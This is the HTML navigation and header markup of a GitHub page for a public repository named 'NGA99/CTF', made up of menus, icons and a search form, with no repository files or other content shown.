<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="389483395" data-scoped-search-url="/NGA99/CTF/search" data-owner-scoped-search-url="/users/NGA99/search" data-unscoped-search-url="/search" data-turbo="false" action="/NGA99/CTF/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="S+KqHeKdJqm2NWjoBkD1zbPxEnauwX6RwinNnPytCubchaQRXrRBlq6j0+HObgLDM460GLghP7lRRdi80eZ1Kw==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>âµ</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>âµ</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>âµ</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>âµ</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>âµ</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>âµ</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>âµ</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>âµ</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> NGA99 </span> <span>/</span> CTF
<span></span><span>Public</span> </div>
</div>
